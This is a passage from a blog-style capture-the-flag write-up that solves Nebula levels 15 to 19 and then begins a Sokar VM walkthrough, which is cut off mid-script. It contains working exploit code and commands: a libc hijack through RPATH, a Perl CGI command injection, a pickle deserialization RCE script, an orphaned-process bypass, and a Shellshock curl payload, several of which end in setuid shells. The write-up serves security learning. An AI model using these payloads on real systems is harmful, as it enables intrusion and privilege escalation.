base_addr:0xb78618d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0xfee000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x199000, 4096, PROT_READ) = 0 munmap(0xb7862000, 33815) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786a000 write(1, \u0026#34;strace it!\\n\u0026#34;, 11strace it! ) = 11 exit_group(11) = ? There are plenty of attempts to load libc.so.6 from various locations! I checked out what is in /var/tmp and found the original flag15 folder there. It was empty. My initial thought were I need to give it a libc.so.6 to load, but obviously one that will be useful enough to me so that I may gain some form of code execution.\nThis challenge had me on another Google ride in order to understand what is going on here. From what I could gather, when a binary is compiled with gcc, it is possible to add hwcap support for different processor architectures. It is also possible to tell the linker from where it should load dynamic libraries using a rpath. In the case of flag15, the RPATH is set to /var/tmp/flag15. We can see this using readelf and looking at the dynamic section:\nlevel15@nebula:/home/flag15$ readelf -d ./flag15 Dynamic section at offset 0xf20 contains 21 entries: Tag Type Name/Value 0x00000001 (NEEDED) Shared library: [libc.so.6] 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] 0x0000000c (INIT) 0x80482c0 0x0000000d (FINI) 0x80484ac [...] Ok, so that kinda explained the why its loading libc.so.6 from there, but not really the \u0026lsquo;how this can be useful\u0026rsquo;. I was still a little stuck on the previous LD_PRELOAD hackery, but had to constantly remind myself that that environment variable will be discarded in the case of the SETUID program.\nI was a little unsure how to get something useful going from here. I touched a file called libc.so.6 in /var/tmp/flag15/ and launched the binary, just to get a starting point:\nlevel15@nebula:/var/tmp/flag15$ touch libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: error while loading shared libraries: /var/tmp/flag15/libc.so.6: file too short I was not expecting much from that attempt, but it helped me get started. Eventually I figured I could have a look at flag15 and check which libc function I could \u0026ldquo;override??\u0026rdquo; from the RELO table:\nlevel15@nebula:/var/tmp/flag15$ objdump -R ~flag15/flag15 /home/flag15/flag15: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT puts 0804a004 R_386_JUMP_SLOT __gmon_start__ 0804a008 R_386_JUMP_SLOT __libc_start_main puts() seems like an ok target for me! This is probably the function used to print the strace it! message. At this stage I figured I could take the same route as I did with the previous LD_PRELOAD attack, except this time I just \u0026lsquo;fake\u0026rsquo; it in my fake libc. I looked up the puts() arguments from the man page again and started a new function:\nlevel15@nebula:/var/tmp/flag15$ cat fake_libc.c #include\u0026lt;stdio.h\u0026gt; int puts(const char *s) { printf(\u0026#34;Not the real puts!\\n\u0026#34;); } level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) /home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference Ow, that exploded pretty badly it seems. From the error message I figured the function __cxa_finalize simply did not exist in my library, so all I had to do was add it\u0026hellip; Right? I googled the function arguments and added it to my fake libc:\nlevel15@nebula:/var/tmp/flag15$ cat fake_libc.c #include\u0026lt;stdio.h\u0026gt; void __cxa_finalize(void * d) { } int puts(const char *s) { printf(\u0026#34;Not the real puts!\\n\u0026#34;); } level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) /home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference Oh! New error. I guess I was making progress. This time there is apparently no __libc_start_main in the library. At this stage I was a little confused as to what was going on here as this function was also in the RELO table for flag15. Anyways, as with __cxa_finalize, I Googled the function arguments for this one too and added it to my fake libc. It was also at this stage that I realized I could just use this function instead of puts, so I went ahead and deleted the other functions:\nlevel15@nebula:/var/tmp/flag15$ cat fake_libc.c #include\u0026lt;stdio.h\u0026gt; int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { return 0; } level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version-\u0026gt;filename == ((void *)0) || ! _dl_name_match_p (version-\u0026gt;filename, map)\u0026#39; failed! Oh! Another new error :( This time though it was not about a missing function/symbol, but rather something I could not make out by myself. I found little information about this specific error. After a really really long time of searching I finally decided to ldd flag15 again now that my fake libc is available:\nlevel15@nebula:/var/tmp/flag15$ ldd ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) linux-gate.so.1 =\u0026gt; (0x00e47000) libc.so.6 =\u0026gt; /var/tmp/flag15/libc.so.6 (0x00761000) The search term no version information available (required by was the magic that finally got me towards an answer! I came across this and this post which talks about custom linking scripts. Basically, if I were to create a file with the contents GLIBC_2.0 {}; in it and tell the linker at compile time (with -Wl) about it, then my problem will go away :)\nlevel15@nebula:/var/tmp/flag15$ cat version.ld GLIBC_2.0 { }; level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ldd ~flag15/flag15 linux-gate.so.1 =\u0026gt; (0x002b3000) libc.so.6 =\u0026gt; /var/tmp/flag15/libc.so.6 (0x00ca0000) w00t. My ldd Error went away :)\nlevel15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3\u0026#39; not found (required by /var/tmp/flag15/libc.so.6) Another version related error. This time though it was for GLIBC version 2.1.3. I spiraled down another Google tunnel with this one and eventually came across static linking options for the linker. Basically, with -Bstatic and -static-libgcc we tell the compiler not to link against shared libraries. So, I added these too:\nlevel15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 Segmentation fault And now we are segfaulting. Great! Not! I poked around gdb a little and prodded around. Eventually I figured I should check if my __libc_start_main function is being called before the crash:\nlevel15@nebula:/var/tmp/flag15$ cat fake_libc.c #include\u0026lt;stdio.h\u0026gt; int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { printf(\u0026#34;hi mom!\\n\u0026#34;); /* Added this line! */ return 0; } level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 hi mom! Segmentation fault Yes! :D So even though I am causing flag15 to crash, I have managed to introduce some code to it. I finally decided to add the system() call and recompile my fake libc.\nSo, to solve level15:\nlevel15@nebula:/var/tmp/flag15$ cat fake_libc.c #include\u0026lt;stdio.h\u0026gt; int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { system(\u0026#34;/bin/sh\u0026#34;); return 0; } level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6 level15@nebula:/var/tmp/flag15$ ~flag15/flag15 sh-4.2$ getflag You have successfully executed getflag on a target account level16 Level16\u0026rsquo;s Description:\n There is a perl script running on port 1616.\n With the description we are provided with the source code of a small Perl program:\n#!/usr/bin/env perl use CGI qw{param}; print \u0026#34;Content-type: text/html\\n\\n\u0026#34;; sub login { $username = $_[0]; $password = $_[1]; $username =~ tr/a-z/A-Z/; # conver to uppercase $username =~ s/\\s.*//; # strip everything after a space @output = `egrep \u0026#34;^$username\u0026#34; /home/flag16/userdb.txt 2\u0026gt;\u0026amp;1`; foreach $line (@output) { ($usr, $pw) = split(/:/, $line); if($pw =~ $password) { return 1; } } return 0; } sub htmlz { print(\u0026#34;\u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Login resuls\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;\u0026#34;); if($_[0] == 1) { print(\u0026#34;Your login was accepted\u0026lt;br/\u0026gt;\u0026#34;); } else { print(\u0026#34;Your login failed\u0026lt;br/\u0026gt;\u0026#34;); } print(\u0026#34;Would you like a cookie?\u0026lt;br/\u0026gt;\u0026lt;br/\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\\n\u0026#34;); } htmlz(login(param(\u0026#34;username\u0026#34;), param(\u0026#34;password\u0026#34;))); This script has a seemingly less obvious command injection vulnerability. The egrep command eventually gets the $username variable. This after it has gone through 2 sets of filters, one converting the username to uppercase and another truncating everything after a space. These filters are the core of the challenge.\nSimilarly to the other command injections, I replicated the filters so that I could print the output and see how I could manipulate them. The biggest problem being the fact that everything was converted to uppercase. Thankfully, that got sorted really quickly when I learnt of the ${A,,} operator in bash. After quite a bit of trying different things, I finally got something that would work. I would first make the egrep happy by redirecting something to it to grep through. Once that was done, I declared a new variable A and set the command I wanted to run to it. Thereafter I converted it to lowercase and executed it wit ${A,,} and commented the rest of the line out with a hash (#).\nSo, to solve level16:\nlevel16@nebula:~$ vim /var/tmp/flag16.sh level16@nebula:~$ chmod +x /var/tmp/flag16.sh level16@nebula:~$ cat /var/tmp/flag16.sh #!/bin/sh gcc /var/tmp/shell.c -o /var/tmp/flag16 chmod 4777 /var/tmp/flag16 On my host machine, I requested the web page hosting the perl script, triggering /var/tmp/flag16 to run:\n~ » curl -v \u0026#34;http://192.168.217.239:1616/index.cgi?$(python -c \u0026#39;import urllib; print urllib.urlencode({ \u0026#34;username\u0026#34; : \u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026lt;/etc/passwd;A=\u0026#34;/var/tmp/flag16.sh\u0026#34;;${A,,};#\u0026#34;\u0026#34;\u0026#34;, \u0026#34;password\u0026#34; : \u0026#34;a\u0026#34; })\u0026#39;)\u0026#34; * Hostname was NOT found in DNS cache * Trying 192.168.217.239... * Connected to 192.168.217.239 (192.168.217.239) port 1616 (#0) \u0026gt; GET /index.cgi?username=%22%3C%2Fetc%2Fpasswd%3BA%3D%22%2Fvar%2Ftmp%2Fflag16.sh%22%3B%24%7BA%2C%2C%7D%3B%23\u0026amp;password=a HTTP/1.1 \u0026gt; User-Agent: curl/7.37.1 \u0026gt; Host: 192.168.217.239:1616 \u0026gt; Accept: */* \u0026gt; * HTTP 1.0, assume close after body \u0026lt; HTTP/1.0 200 OK \u0026lt; Content-type: text/html \u0026lt; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;Login resuls\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt;\u0026lt;body\u0026gt;Your login failed\u0026lt;br/\u0026gt;Would you like a cookie?\u0026lt;br/\u0026gt;\u0026lt;br/\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; * Closing connection 0 And then, just to read the flag:\nlevel16@nebula:~$ /var/tmp/flag16 sh-4.2$ getflag You have successfully executed getflag on a target account level17 Level17\u0026rsquo;s Description:\n There is a python script listening on port 10007 that contains a vulnerability.\n With the description we are provided with the source code of a small Python program:\n#!/usr/bin/python import os import pickle import time import socket import signal signal.signal(signal.SIGCHLD, signal.SIG_IGN) def server(skt): line = skt.recv(1024) obj = pickle.loads(line) for i in obj: clnt.send(\u0026#34;why did you send me \u0026#34; + i + \u0026#34;?\\n\u0026#34;) skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) skt.bind((\u0026#39;0.0.0.0\u0026#39;, 10007)) skt.listen(10) while True: clnt, addr = skt.accept() if(os.fork() == 0): clnt.send(\u0026#34;Accepted connection from %s:%d\u0026#34; % (addr[0], addr[1])) server(clnt) exit(1) With this level, it was immediately obvious that user input was being used to unpickle. This is dangerous as user supplied code could be executed when the unpickle occurs. So, my plan was to write a simple class with a __reduce__ method to pickle and send that over the socket that this code is listening on.\nSo, to solve level17:\nlevel17@nebula:/var/tmp/flag17-prep$ cat sploit.py from netcat import Netcat import pickle import os command = \u0026#34;\u0026#34;\u0026#34;gcc /var/tmp/shell.c -o /var/tmp/flag17; chmod 4777 /var/tmp/flag17\u0026#34;\u0026#34;\u0026#34; # setup the pickle class DoCmd(object): def __reduce__(self): return (os.system, (\u0026#39;{cmd}\u0026#39;.format(cmd = command),)) nc = Netcat(\u0026#39;127.0.0.1\u0026#39;, 10007) nc.read() nc.write(pickle.dumps(DoCmd())) nc.close() level17@nebula:/var/tmp/flag17-prep$ python sploit.py level17@nebula:/var/tmp/flag17-prep$ /var/tmp/flag17 sh-4.2$ getflag You have successfully executed getflag on a target account level18 Level18\u0026rsquo;s Description:\n Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;fcntl.h\u0026gt;#include \u0026lt;getopt.h\u0026gt; struct { FILE *debugfile; int verbose; int loggedin; } globals; #define dprintf(...) if(globals.debugfile) \\ fprintf(globals.debugfile, __VA_ARGS__) #define dvprintf(num, ...) if(globals.debugfile \u0026amp;\u0026amp; globals.verbose \u0026gt;= num) \\ fprintf(globals.debugfile, __VA_ARGS__)  #define PWFILE \u0026#34;/home/flag18/password\u0026#34;  void login(char *pw) { FILE *fp; fp = fopen(PWFILE, \u0026#34;r\u0026#34;); if(fp) { char file[64]; if(fgets(file, sizeof(file) - 1, fp) == NULL) { dprintf(\u0026#34;Unable to read password file %s\\n\u0026#34;, PWFILE); return; } fclose(fp); if(strcmp(pw, file) != 0) return; } dprintf(\u0026#34;logged in successfully (with%s password file)\\n\u0026#34;, fp == NULL ? \u0026#34;out\u0026#34; : \u0026#34;\u0026#34;); globals.loggedin = 1; } void notsupported(char *what) { char *buffer = NULL; asprintf(\u0026amp;buffer, \u0026#34;--\u0026gt; [%s] is unsupported at this current time.\\n\u0026#34;, what); dprintf(what); free(buffer); } void setuser(char *user) { char msg[128]; sprintf(msg, \u0026#34;unable to set user to \u0026#39;%s\u0026#39; -- not supported.\\n\u0026#34;, user); printf(\u0026#34;%s\\n\u0026#34;, msg); } int main(int argc, char **argv, char **envp) { char c; while((c = getopt(argc, argv, \u0026#34;d:v\u0026#34;)) != -1) { switch(c) { case \u0026#39;d\u0026#39;: globals.debugfile = fopen(optarg, \u0026#34;w+\u0026#34;); if(globals.debugfile == NULL) err(1, \u0026#34;Unable to open %s\u0026#34;, optarg); setvbuf(globals.debugfile, NULL, _IONBF, 0); break; case \u0026#39;v\u0026#39;: globals.verbose++; break; } } dprintf(\u0026#34;Starting up. Verbose level = %d\\n\u0026#34;, globals.verbose); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); while(1) { char line[256]; char *p, *q; q = fgets(line, sizeof(line)-1, stdin); if(q == NULL) break; p = strchr(line, \u0026#39;\\n\u0026#39;); if(p) *p = 0; p = strchr(line, \u0026#39;\\r\u0026#39;); if(p) *p = 0; dvprintf(2, \u0026#34;got [%s] as input\\n\u0026#34;, line); if(strncmp(line, \u0026#34;login\u0026#34;, 5) == 0) { dvprintf(3, \u0026#34;attempting to login\\n\u0026#34;); login(line + 6); } else if(strncmp(line, \u0026#34;logout\u0026#34;, 6) == 0) { globals.loggedin = 0; } else if(strncmp(line, \u0026#34;shell\u0026#34;, 5) == 0) { dvprintf(3, \u0026#34;attempting to start shell\\n\u0026#34;); if(globals.loggedin) { execve(\u0026#34;/bin/sh\u0026#34;, argv, envp); err(1, \u0026#34;unable to execve\u0026#34;); } dprintf(\u0026#34;Permission denied\\n\u0026#34;); } else if(strncmp(line, \u0026#34;logout\u0026#34;, 4) == 0) { globals.loggedin = 0; } else if(strncmp(line, \u0026#34;closelog\u0026#34;, 8) == 0) { if(globals.debugfile) fclose(globals.debugfile); globals.debugfile = NULL; } else if(strncmp(line, \u0026#34;site exec\u0026#34;, 9) == 0) { notsupported(line + 10); } else if(strncmp(line, \u0026#34;setuser\u0026#34;, 7) == 0) { setuser(line + 8); } } return 0; } Ok. Not so small then. This program took a while to work through. Initially the vulnerability was not so obvious. I could figure out that a few flags were setting a few things inside the global struct and that a password file exists. If I was able to read the password, then I could be marked as logged in and eventually get to the line that does execve(\u0026quot;/bin/sh\u0026quot;, argv, envp);.\nI noticed the buffer overflow and format string vulnerabilities, but considering the binary was compiled with SSP, partial RELO, and a NX stack, I figured that memory corruption was not necessarily the way to complete this one.\nLots of toying around with the program eventually got me to realize the flaw. If for some reason the program was not able to read the password file successfully, it would just log us in. The password file is /home/flag18/password and we don’t have the required permissions to move it or something. I suppose that would have been too easy anyways ;p\nSo what do we have left? I had to poke around and think about conditions that could make opening a file fail. Eventually I remembered about maximum file descriptors and figured it was worth a shot. What motivated this thinking was the fact that the binary has a closelog command too. So, I started to play around with ulimit, gradually reducing -n until I got to the value 4 as the one that would let me log in due to the fact that the password file could no longer being able to be read; This thanks to the maximum open files limit being reached.\nWithout setting the max open files, a sample run would be:\nlevel18@nebula:~$ touch /tmp/log level18@nebula:~$ tail -f /tmp/log \u0026amp; [1] 6499 level18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log Starting up. Verbose level = 3 login egg got [login egg] as input attempting to login shell got [shell] as input attempting to start shell Permission denied Dropping the max open files to 4 though, we get:\nlevel18@nebula:~$ ulimit -n 4 level18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log -sh: start_pipeline: pgrp pipe: Too many open files tail: /tmp/log: file truncated Starting up. Verbose level = 3 login egg got [login egg] as input attempting to login logged in successfully (without password file) shell got [shell] as input attempting to start shell /home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24 Login worked :) We can also now call the shell command however the max open files thing looks like a problem. Luckily the binary had that closelog command that will free up a file descriptor. Rerunning the above but calling closelog before we call shell results in:\nlevel18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log -sh: start_pipeline: pgrp pipe: Too many open files tail: /tmp/log: file truncated Starting up. Verbose level = 3 login egg got [login egg] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell /home/flag18/flag18: -d: invalid option Usage: /home/flag18/flag18 [GNU long option] [option] ... /home/flag18/flag18 [GNU long option] [option] script-file ... GNU long options: --debug --debugger --dump-po-strings --dump-strings --help --init-file --login --noediting --noprofile --norc --posix --protected --rcfile --restricted --verbose --version Shell options: -irsD or -c command or -O shopt_option (invocation only) -abefhkmnptuvxBCHP or -o option Examining the error we get now together with the source code, it was clear that the arguments sent to the flag18 binary was also passed to the execve() call. That means that the error is actually sourced from the fact that sh has no -d flag. In fact, one could replicate this error by simply calling sh -d. This called for some more man page reading once again. I realized later that the error may have also been a sort of hint based on the fact that the GNU long options are shown. --rcfile seemed like a good option as it would allow me to specify a type of init script to run. I had a number of attempts to try get this into something workable. Eventually the only file I could get it to load was the logfile I was specifying when running flag18:\nlevel18@nebula:~$ ~flag18/flag18 --rcfile -d /tmp/log -vvv -sh: start_pipeline: pgrp pipe: Too many open files /home/flag18/flag18: invalid option -- \u0026#39;-\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;r\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;c\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;f\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;i\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;l\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;e\u0026#39; tail: /tmp/log: file truncated Starting up. Verbose level = 3 login egg got [login egg] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell /tmp/log: line 1: Starting: command not found /tmp/log: line 2: got: command not found /tmp/log: line 3: attempting: command not found /tmp/log: line 4: syntax error near unexpected token `(\u0026#39; /tmp/log: line 4: `logged in successfully (without password file)\u0026#39; The line Starting: command not found was as close as I could get to some form of controlled command execution. So, I created this file, exported it into my PATH and used it to prepare a small SETUID C shell.\nSo, to solve level18:\nlevel18@nebula:~$ vim /var/tmp/Starting level18@nebula:~$ chmod +x /var/tmp/Starting level18@nebula:~$ cat /var/tmp/Starting #!/bin/sh /bin/sh level18@nebula:~$ tail -f /tmp/log \u0026amp; [1] 7627 level18@nebula:~$ Starting up. Verbose level = 3 got [login egg] as input attempting to login logged in successfully (without password file) got [closelog] as input level18@nebula:~$ export PATH=/var/tmp:$PATH level18@nebula:~$ ulimit -n 4 level18@nebula:~$ ~flag18/flag18 --rcfile -d /tmp/log -vvv -sh: start_pipeline: pgrp pipe: Too many open files /home/flag18/flag18: invalid option -- \u0026#39;-\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;r\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;c\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;f\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;i\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;l\u0026#39; /home/flag18/flag18: invalid option -- \u0026#39;e\u0026#39; tail: /tmp/log: file truncated Starting up. Verbose level = 3 login egg got [login egg] as input attempting to login logged in successfully (without password file) closelog got [closelog] as input shell sh-4.2$ getflag sh: start_pipeline: pgrp pipe: Too many open files You have successfully executed getflag on a target account level19 Level19\u0026rsquo;s Description:\n There is a flaw in the below program in how it operates.\n With the description we are provided with the source code of a small C program:\n#include \u0026lt;stdlib.h\u0026gt;#include \u0026lt;unistd.h\u0026gt;#include \u0026lt;string.h\u0026gt;#include \u0026lt;sys/types.h\u0026gt;#include \u0026lt;stdio.h\u0026gt;#include \u0026lt;fcntl.h\u0026gt;#include \u0026lt;sys/stat.h\u0026gt; int main(int argc, char **argv, char **envp) { pid_t pid; char buf[256]; struct stat statbuf; /* Get the parent\u0026#39;s /proc entry, so we can verify its user id */ snprintf(buf, sizeof(buf)-1, \u0026#34;/proc/%d\u0026#34;, getppid()); /* stat() it */ if(stat(buf, \u0026amp;statbuf) == -1) { printf(\u0026#34;Unable to check parent process\\n\u0026#34;); exit(EXIT_FAILURE); } /* check the owner id */ if(statbuf.st_uid == 0) { /* If root started us, it is ok to start the shell */ execve(\u0026#34;/bin/sh\u0026#34;, argv, envp); err(1, \u0026#34;Unable to execve\u0026#34;); } printf(\u0026#34;You are unauthorized to run this program\\n\u0026#34;); } This one had me completely lost. After studying the functions used, I resorted to getting a hint. Partially reading another walkthrough, I came to the section where it mentions a fork() operation on the flag19 binary. Basically, what it boils down to is the fact that when the process is forked and the parent dies, PID 1 (owned by root) will become the owner causing the checks we have in this binary to fail.\nTo go about this, we would have to write a small C wrapper that will fork itself. We need to give this wrapper a few seconds after the fork to finish off allowing the forked process to become orphaned. Once the process is in the orphaned state, we can execv() the flag19 binary and prepare a shell :)\nSo, to solve level19:\nlevel19@nebula:/var/tmp$ vim pwn19.c level19@nebula:/var/tmp$ cat pwn19.c #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;unistd.h\u0026gt; int main(void) { pid_t pid = fork(); if (pid == 0) { char *arg[] = { \u0026#34;/bin/sh\u0026#34; , \u0026#34;-c\u0026#34; , \u0026#34;gcc /var/tmp/shell.c -o /var/tmp/flag19; chmod 4777 /var/tmp/flag19\u0026#34; , NULL}; sleep(2); /* Give the fork 2 sec to orphan */ execv(\u0026#34;/home/flag19/flag19\u0026#34;, arg); printf(\u0026#34;Done fork\\n\u0026#34;); return 0; } printf(\u0026#34;Done parent\\n\u0026#34;); return 0; } level19@nebula:/var/tmp$ gcc pwn19.c -o pwn19 level19@nebula:/var/tmp$ ./pwn19 Done parent level19@nebula:/var/tmp$ /var/tmp/flag19 sh-4.2$ getflag You have successfully executed getflag on a target account conclusion Even though many of the levels were really really easy, the latter levels did force me to learn a few new things which was great. I think this is some really good learning material for people new to the scene. Heck, I think I will refer people to this next time they ask about OSCP\u0026hellip; ;)\nAs a final touch, my \u0026lsquo;loot\u0026rsquo; in /var/tmp after finishing the last level:\n ","permalink":"https://leonjza.github.io/blog/2015/05/08/playing-exploit-exercises-nebula/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003eRecently I decided I wanted to have a look at what \u003ca href=\"https://exploit-exercises.com/\"\u003eExploit Exercises\u003c/a\u003e had to offer. I was after the memory corruption related exploitation stuff to play with, until I saw the details for \u003ca href=\"https://exploit-exercises.com/nebula/\"\u003eNebula\u003c/a\u003e. \u003cem\u003eNebula covers a variety of simple and intermediate challenges that cover Linux privilege escalation, common scripting language issues, and file system race conditions.\u003c/em\u003e\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/nebula_logo.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eI did not really have a lot of time on my hands and figured I should start with the \u0026ldquo;easy\u0026rdquo; stuff. Many of the levels Nebula presented were in fact very, very easy. However, towards final levels my knowledge was definitely being tested. Levels started taking much longer to complete as I was yet again realizing that the more you learn, the more you realize you you still have to learn. :)\u003c/p\u003e\n\u003cp\u003eThis is the path I took to solve the 20 challenges.\u003c/p\u003e","title":"playing exploit-exercises - nebula"},{"content":"introduction Vulnhub is 0b10 years old. That is binary for 2 :) In order to celebrate this, @_RastaMouse created Sokar.\n  Sokar was used as another writeup competition (the first for 2015), similar to the Persistence challenge from Sep \u0026lsquo;14. From the competition announcement blogpost, the rules of engagement were pretty familiar. Boot the VM, pwn it via the network and find the flag. Of course, modifying the VM in order to help you get the flag (things like single user mode, rescue disks etc) are not allowed and you have to actually be able to prove how you got r00t.\nSokar frustrated me. A lot. However, almost all of the challenges and configurations of Sokar were plausible. Most of the vulnerabilities are valid in the sense that it may as well be out there in wild. So, it was a great learning experience once again!\nHere is my entry for the competition. Enjoy! :)\na usual start You know the drill. Download the VM, import it into your virtualization software, configure the network and start to fire nmap at it. I followed exactly these steps apart from using the usual netdiscover to determine the assigned IP address. Instead, I recently learnt about the built in VMWare Network Sniffer. So I figured it was time to give that a spin.\nI knew which interface the network was bound to on my Mac, so I started the sniffer with sudo /Applications/VMware\\ Fusion.app/Contents/Library/vmnet-sniffer vmnet1:\nleonjza@laptop » sudo /Applications/VMware\\ Fusion.app/Contents/Library/vmnet-sniffer vmnet1 [... snip IPv6 talky talky ...] IP src 0.0.0.0 dst 255.255.255.255 UDP src port 68 dst port 67 IP src 192.168.217.254 dst 192.168.217.163 UDP src port 67 dst port 68 192.168.217.163. Great. This will be our target for a nmap scan. Sokar did not respond to pings, but that is no biggie. I see this many times in real world networks too, so heh. Don\u0026rsquo;t rely on ICMP traffic ;)\nleonjza@kali/sokar $ nmap --reason 192.168.217.163 -p- Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-02 21:09 SAST Nmap scan report for 192.168.217.163 Host is up, received arp-response (0.00027s latency). Not shown: 65534 filtered ports Reason: 65534 no-responses PORT STATE SERVICE REASON 591/tcp open http-alt syn-ack MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems) Nmap done: 1 IP address (1 host up) scanned in 1133.72 seconds One port open on tcp. tcp/591.\n/cgi-bin/cat The service on tcp/591 appeared to be a web server. The web server content updated every time it was requested. Inspection of the web page sources revealed the information is actually sourced from a HTML \u0026lt;iframe\u0026gt; to http://192.168.217.163:591/cgi-bin/cat. Requesting this page alone was the same stats, minus that creepy pink color ;)\n  I toyed around quite a bit with this webserver. The textbook approach of running wfuzz to discover some web paths, nikto to discover some interesting information etc. was used. Alas, none of these tools proved really useful.\nApplying some more brain thingies to my current situation, I remembered the Shellshock bug disclosed in September 2014. The /cgi-bin path was the biggest hint towards it. I also remembered @mubix was keeping a Github repository of PoC\u0026rsquo;s for shellshock, and promptly started to try a few against the CGI path.\nEventually, this PoC was modified a little to get me some working command injection via shellshock:\nleonjza@kali/sokar $ curl -i -X OPTIONS -H \u0026#34;User-Agent: () { :;};echo;/usr/bin/id\u0026#34; \u0026#34;http://192.168.217.163:591/cgi-bin/cat\u0026#34; HTTP/1.1 200 OK Date: Mon, 02 Feb 2015 21:23:07 GMT Server: Apache/2.2.15 (CentOS) Connection: close Transfer-Encoding: chunked Content-Type: text/plain; charset=UTF-8 uid=48(apache) gid=48(apache) groups=48(apache) Yay. I was now able to execute commands as apache. This allowed me to enumerate a great deal of the machine with relative ease.\nmaking life easier Of course, constructing the curl request and header for every command that I wanted to run was starting to become boring really quickly. So, I slapped together some python that will accept an argument and execute the command (called shock.py):\n#!/usr/bin/python # Sokar Shellshock Command Execution # 2015 Leon Jacobs import requests import sys if len(sys.argv) \u0026lt; 